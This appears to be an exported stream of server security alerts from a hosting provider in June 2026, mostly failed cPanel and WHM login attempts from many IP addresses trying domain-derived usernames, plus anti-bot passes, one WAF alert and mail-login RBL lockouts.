[2026-06-27 02:39:06 +0000] info [cpaneld] 38.253.150.228 - opacon "GET /login/?login_only=1&user=opacon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opacon (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.252.218.75
country_id: 2017370
description:
[2026-06-27 02:38:38 +0000] info [cpaneld] 109.252.218.75 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.118.46.128
country_id: 3469034
description:
[2026-06-27 02:38:54 +0000] info [cpaneld] 138.118.46.128 - opaconsei "GET /login/?login_only=1&user=opaconsei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opaconsei (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.254.90.236
country_id: 2215636
description:
[2026-06-27 02:39:13 +0000] info [cpaneld] 41.254.90.236 - opac "GET /login/?login_only=1&user=opac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.54.80.106
country_id: 1512440
description:
[2026-06-27 02:39:18 +0000] info [cpaneld] 84.54.80.106 - op "GET /login/?login_only=1&user=op&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user op (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.81.65.106
country_id: 1643084
description:
[2026-06-27 02:39:41 +0000] info [cpaneld] 103.81.65.106 - cloudetracks "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.135.131.52
country_id: 6252001
description:
43.135.131.52 - - [27/Jun/2026:02:40:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014374&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsecteur-des-assurances-creation-dune-agence-de-lutte-contre-la-fraude-et-lanarque%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782528031 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/secteur-des-assurances-creation-dune-agence-de-lutte-contre-la-fraude-et-lanarque/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.135.131.52


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.70.88.163
country_id: 3865483
description:
[2026-06-27 02:42:38 +0000] info [cpaneld] 45.70.88.163 - white "GET /login/?login_only=1&user=white&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user white (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.135.29.138
country_id: 1733045
description:
[2026-06-27 02:42:15 +0000] info [cpaneld] 115.135.29.138 - whiteways "GET /login/?login_only=1&user=whiteways&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whiteways (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.9.19.28
country_id: 3469034
description:
[2026-06-27 02:42:24 +0000] info [cpaneld] 200.9.19.28 - whiteway "GET /login/?login_only=1&user=whiteway&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whiteway (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.138.150.14
country_id: 3017382
description:
[2026-06-27 02:42:33 +0000] info [cpaneld] 176.138.150.14 - whitew "GET /login/?login_only=1&user=whitew&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whitew (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.149.207.199
country_id: 2017370
description:
[2026-06-27 02:42:41 +0000] info [cpaneld] 5.149.207.199 - whit "GET /login/?login_only=1&user=whit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.97.139.222
country_id: 290557
description:
[2026-06-27 02:42:45 +0000] info [cpaneld] 86.97.139.222 - whi "GET /login/?login_only=1&user=whi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.197.170.99
country_id: 6252001
description:
[2026-06-27 02:44:55 +0000] info [whostmgrd] 73.197.170.99 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.132.92.167
country_id: 690791
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/70.jpeg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.155.201.67
country_id: 3017382
description:
[2026-06-27 02:46:41 +0000] info [whostmgrd] 34.155.201.67 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 27 02:46:50 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 02:46:59 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.229.75
country_id: 3686110
description:
[2026-06-27 02:47:59 +0000] info [cpaneld] 38.156.229.75 - digilix "GET /login/?login_only=1&user=digilix&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digilix (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.72.115.95
country_id: 2017370
description:
[2026-06-27 02:47:57 +0000] info [cpaneld] 178.72.115.95 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 02:48:10 +0000] info [cpaneld] 188.166.248.160 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.49.6.166
country_id: 3469034
description:
[2026-06-27 02:48:12 +0000] info [cpaneld] 187.49.6.166 - digi "GET /login/?login_only=1&user=digi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.157.245.216
country_id: 6251999
description:
[2026-06-27 02:49:11 +0000] info [cpaneld] 162.157.245.216 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.21.133.176
country_id: 3895114
description:
[2026-06-27 02:48:20 +0000] info [cpaneld] 190.21.133.176 - di "GET /login/?login_only=1&user=di&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user di (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.78.236.210
country_id: 3686110
description:
[2026-06-27 02:49:30 +0000] info [cpaneld] 181.78.236.210 - caf "GET /login/?login_only=1&user=caf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.45.133.23
country_id: 3865483
description:
[2026-06-27 02:49:34 +0000] info [cpaneld] 181.45.133.23 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.118.145.139
country_id: 3686110
description:
[2026-06-27 02:49:42 +0000] info [cpaneld] 181.118.145.139 - leadelle "GET /login/?login_only=1&user=leadelle&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadelle (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.23.189.211
country_id: 6252001
description:
[2026-06-27 02:49:50 +0000] info [cpaneld] 75.23.189.211 - leadel "GET /login/?login_only=1&user=leadel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.93.78.130
country_id: 1282988
description:
[2026-06-27 02:50:03 +0000] info [cpaneld] 182.93.78.130 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.243.66.71
country_id: 298795
description:
[2026-06-27 02:49:13 +0000] info [cpaneld] 88.243.66.71 - cafeit "GET /login/?login_only=1&user=cafeit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafeit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.164.99.23
country_id: 3895114
description:
[2026-06-27 02:49:24 +0000] info [cpaneld] 190.164.99.23 - cafei "GET /login/?login_only=1&user=cafei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafei (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.189.62.149
country_id: 3469034
description:
[2026-06-27 02:49:27 +0000] info [cpaneld] 181.189.62.149 - cafe "GET /login/?login_only=1&user=cafe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.26.9.38
country_id: 3865483
description:
[2026-06-27 02:49:55 +0000] info [cpaneld] 181.26.9.38 - leade "GET /login/?login_only=1&user=leade&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leade (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.182.197.17
country_id: 953987
description:
[2026-06-27 02:49:57 +0000] info [cpaneld] 102.182.197.17 - lead "GET /login/?login_only=1&user=lead&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lead (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.128.86.186
country_id: 3686110
description:
[2026-06-27 02:50:00 +0000] info [cpaneld] 181.128.86.186 - lea "GET /login/?login_only=1&user=lea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.152.105.150
country_id: 1210997
description:
[2026-06-27 02:49:18 +0000] info [cpaneld] 103.152.105.150 - cafeittg "GET /login/?login_only=1&user=cafeittg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafeittg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.129
country_id: 1880251
description:
47.128.121.129 - - [27/Jun/2026:02:50:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054503&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Ftogo-2020-du-diner-du-paysan-reportee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782528614 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/togo-2020-du-diner-du-paysan-reportee/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 174.138.112.39
country_id: 6251999
description:
174.138.112.39 - - [27/Jun/2026:02:52:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054045&pdata=https%253A%252F%252Fderou.tg%252F%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782528740 HTTP/2.0" 302 0 derou.tg "https://derou.tg//" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:174.138.112.39


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.175.199.80
country_id: 2017370
description:
[2026-06-27 02:55:07 +0000] info [cpaneld] 85.175.199.80 - expertsde "GET /login/?login_only=1&user=expertsde&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expertsde (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.203.7.33
country_id: 290557
description:
[2026-06-27 02:55:13 +0000] info [cpaneld] 94.203.7.33 - sah "GET /login/?login_only=1&user=sah&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sah (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 88.21.253.159
country_id: 2510769
description:
88.21.253.159 - - [27/Jun/2026:02:54:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869981&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-171259letid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782528853 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-171259letid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:88.21.253.159


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.158.62.102
country_id: 1512440
description:
[2026-06-27 02:54:57 +0000] info [cpaneld] 94.158.62.102 - sahamtgcom "GET /login/?login_only=1&user=sahamtgcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sahamtgcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.225.231.173
country_id: 3469034
description:
[2026-06-27 02:55:04 +0000] info [cpaneld] 186.225.231.173 - expertsdef "GET /login/?login_only=1&user=expertsdef&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expertsdef (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.136.162.76
country_id: 2542007
description:
[2026-06-27 02:55:08 +0000] info [cpaneld] 105.136.162.76 - saha "GET /login/?login_only=1&user=saha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user saha (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.28.30.221
country_id: 2017370
description:
[2026-06-27 02:54:48 +0000] info [cpaneld] 85.28.30.221 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.136.56.25
country_id: 3625428
description:
[2026-06-27 02:54:55 +0000] info [cpaneld] 141.136.56.25 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.188.32.152
country_id: 3996063
description:
[2026-06-27 02:55:01 +0000] info [cpaneld] 187.188.32.152 - expertsdefensecom "GET /login/?login_only=1&user=expertsdefensecom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expertsdefensecom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.137.75.189
country_id: 3469034
description:
[2026-06-27 02:55:06 +0000] info [cpaneld] 177.137.75.189 - saham "GET /login/?login_only=1&user=saham&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user saham (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.153.61.194
country_id: 2017370
description:
[2026-06-27 02:55:21 +0000] info [cpaneld] 37.153.61.194 - expert "GET /login/?login_only=1&user=expert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expert (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.135.253.92
country_id: 1210997
description:
[2026-06-27 02:55:27 +0000] info [cpaneld] 103.135.253.92 - exper "GET /login/?login_only=1&user=exper&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user exper (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.252.77.52
country_id: 1210997
description:
[2026-06-27 02:55:37 +0000] info [cpaneld] 182.252.77.52 - exp "GET /login/?login_only=1&user=exp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user exp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.166.119.60
country_id: 298795
description:
[2026-06-27 02:55:41 +0000] info [cpaneld] 78.166.119.60 - ex "GET /login/?login_only=1&user=ex&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ex (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.79.40.202
country_id: 2017370
description:
[2026-06-27 02:57:09 +0000] info [cpaneld] 37.79.40.202 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.171.1.48
country_id: 1522867
description:
[2026-06-27 02:57:11 +0000] info [cpaneld] 93.171.1.48 - togoathletisme "GET /login/?login_only=1&user=togoathletisme&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathletisme (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.174.115.242
country_id: 2017370
description:
[2026-06-27 02:57:29 +0000] info [cpaneld] 95.174.115.242 - fo "GET /login/?login_only=1&user=fo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.164.15.24
country_id: 290557
description:
[2026-06-27 02:57:35 +0000] info [cpaneld] 217.164.15.24 - togoa "GET /login/?login_only=1&user=togoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.184.78.19
country_id: 3469034
description:
[2026-06-27 02:57:35 +0000] info [cpaneld] 177.184.78.19 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.211.83.249
country_id: 2017370
description:
[2026-06-27 02:57:41 +0000] info [cpaneld] 31.211.83.249 - socialinfostg "GET /login/?login_only=1&user=socialinfostg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user socialinfostg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.137.96.67
country_id: 3686110
description:
[2026-06-27 02:58:02 +0000] info [cpaneld] 143.137.96.67 - soci "GET /login/?login_only=1&user=soci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.205.162.30
country_id: 2017370
description:
[2026-06-27 02:57:17 +0000] info [cpaneld] 178.205.162.30 - fomda "GET /login/?login_only=1&user=fomda&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fomda (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.72.175.66
country_id: 290557
description:
[2026-06-27 02:57:26 +0000] info [cpaneld] 91.72.175.66 - fom "GET /login/?login_only=1&user=fom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.222.63.183
country_id: 99237
description:
[2026-06-27 02:57:46 +0000] info [cpaneld] 176.222.63.183 - socialinf "GET /login/?login_only=1&user=socialinf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user socialinf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.179.127.88
country_id: 2017370
description:
[2026-06-27 02:57:49 +0000] info [cpaneld] 95.179.127.88 - socialin "GET /login/?login_only=1&user=socialin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user socialin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 99.228.193.250
country_id: 6251999
description:
[2026-06-27 02:58:05 +0000] info [cpaneld] 99.228.193.250 - soc "GET /login/?login_only=1&user=soc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.167.36.38
country_id: 102358
description:
[2026-06-27 02:57:14 +0000] info [cpaneld] 82.167.36.38 - togoathletismetg "GET /login/?login_only=1&user=togoathletismetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathletismetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.112.15
country_id: 1512440
description:
[2026-06-27 02:57:14 +0000] info [cpaneld] 213.230.112.15 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.181.121.181
country_id: 1562822
description:
[2026-06-27 02:57:32 +0000] info [cpaneld] 113.181.121.181 - togoat "GET /login/?login_only=1&user=togoat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.191.160.185
country_id: 1562822
description:
[2026-06-27 02:57:38 +0000] info [cpaneld] 14.191.160.185 - socialinfos "GET /login/?login_only=1&user=socialinfos&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user socialinfos (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.178.26.62
country_id: 3469034
description:
[2026-06-27 02:57:38 +0000] info [cpaneld] 45.178.26.62 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.253.147.191
country_id: 3932488
description:
[2026-06-27 02:57:42 +0000] info [cpaneld] 38.253.147.191 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.146.97
country_id: 1733045
description:
[2026-06-27 02:57:45 +0000] info [cpaneld] 180.75.146.97 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.65.20.244
country_id: 3017382
description:
[2026-06-27 02:57:58 +0000] info [cpaneld] 37.65.20.244 - socia "GET /login/?login_only=1&user=socia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user socia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.155.24
country_id: 294640
description:
[2026-06-27 02:57:21 +0000] info [cpaneld] 79.177.155.24 - togoathle "GET /login/?login_only=1&user=togoathle&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathle (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 140.186.29.151
country_id: 6252001
description:
[2026-06-27 02:57:28 +0000] info [cpaneld] 140.186.29.151 - togoath "GET /login/?login_only=1&user=togoath&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoath (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.98.58.130
country_id: 3686110
description:
[2026-06-27 02:57:44 +0000] info [cpaneld] 186.98.58.130 - socialinfo "GET /login/?login_only=1&user=socialinfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user socialinfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.109.96.194
country_id: 3469034
description:
[2026-06-27 02:57:22 +0000] info [cpaneld] 190.109.96.194 - fomd "GET /login/?login_only=1&user=fomd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fomd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.193.163.245
country_id: 953987
description:
[2026-06-27 03:01:08 +0000] info [cpaneld] 41.193.163.245 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.169.209.163
country_id: 1210997
description:
[2026-06-27 03:01:03 +0000] info [cpaneld] 103.169.209.163 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.73.184.128
country_id: 1210997
description:
[2026-06-27 03:01:21 +0000] info [cpaneld] 103.73.184.128 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.172.202.112
country_id: 3017382
description:
